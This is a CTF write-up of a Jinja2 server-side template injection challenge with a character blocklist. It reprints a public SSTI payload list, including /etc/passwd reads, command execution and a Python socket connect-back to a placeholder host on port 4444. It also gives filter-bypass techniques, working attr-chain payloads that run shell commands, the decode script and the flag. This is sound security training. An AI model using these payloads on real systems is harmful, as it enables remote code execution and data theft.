Home Write-Up Advent of CTF 2020 Challenge 17
Post
Cancel

Write-Up Advent of CTF 2020 Challenge 17

Overview

The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020. The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com/.

Challenge 17

  • Description: Santa has launched version 2 of the Emoji finder! Some people were able to find the flag in the 1st version, that will not happen again!
  • 1700 Points

According to the description, this challenge is a follow up from the previous challenge. We start this challenge by visiting the URL https://17.adventofctf.com, we are ended up on this website.

Advent of CTF Challenge 17 Start Page

Indeed, it’s a follow up from the previous challenge. In that challenge, this webpage was running the Jinja2 engine and was vulnerable to Server-Side Template Injection (STTI). So, I assume that the same template engine is being used, but that there are some security improvements done. After invoking the first payload {{7*7}}, it results in 49. Ok, the next step is invoking {{7*'7'}}, the server responses with a You entered an emoji that is on my deny list message. Well, there is some filtering rules active.

Bypass Server-Side Template Injection with filtering

The creator of this CTF is a creative one. The previous challenge was without filtering rules, and this one has some filtering rules. This means that we cannot use every character in the input field, we need also be creative and find bypassers for the blacklisted characters.

Server-Side Template Injection Quick Payloads

I’ve found a Github Repo with some quick payloads for Server-Side Template Injection. Here is the list:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}} <%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif% {% if "warning" in x.__name__ %
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif% {%endfor%} {$smarty.version} {php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{% if "warning" in x.__name__ %
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

You can clone this Github Repository here: https://github.com/payloadbox/ssti-payloads (This is not my repo, just someone else’s repo :-])

Without further redo, we need to know which characters are on the blacklist in this CTF. And, after some trying, I managed to create a list of the blacklisted ones.

Blacklisted characters Bypasser
config self.dict
_ (underscore) \x5f
. (dot) |attr
‘ (single quote) ” (double quote)

*Bypass {{config}}

The string config is on the blacklist we can use the self object with {{self.__dict__}}.

Bypass _ (underscore)

For the underscore, we can replace this with the HEX value \x5f. After rendering this value it will be passed as an underscore to the template engine.

Bypass “.” (dot)

For bypassing the dot, there is a nice function in Flask, the attr attribute. We passing values in a concatenation, in this way we can bypass the dot. The object foo|attr("bar") will be passed as foo.bar. An attribute will return a string and the items in this value are not being looked up.

Bypass ‘ (single quote)

This one is easy, just use the double quotes! (").

Solution

As we now know the bypassers, we can develop our payloads. Let’s first start with reading the file. With the bypassers, I got this payload:

{{self["\x5f\x5fdict\x5f\x5f"]}}

We can now read this file.

Server-Side Template Injection Reading Config Items

From this file, we can find the encoded flag.

C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"}>

The next step is to list the files. We need to find the script to decode this flag. After some time developing, it results in this payload to list all of the files. It’s almost the same path as the previous challenge, only this payload is full with bypassers.

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("ls")|attr("read")()}}

As we can see, there are some files visible. The file app.py is the interesting one.

Server-Side Template Injection File Listing

The next payload, is the final payload to read the app.py.

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat app*")|attr("read")()}}

Server-Side Template Injection Reading Python File

Well, we got a Python script. It’s almost the same script from the previous challenge (I already mentioned). Only the key is different. Only the first part of the magic the function is interesting. I’ve used this https://www.online-python.com/ to decode the flag with this script.

1
2
3
4
def magic(flag, key):
     print(''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag)))

magic("C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F", "46e505c983433b7c8eefb953d3ffcd196a08bbf9")

The output will be the flag: NOVI{santa_l0ves_his_emojis}.

Thanks for reading!

References

This post is licensed under CC BY 4.0 by the author.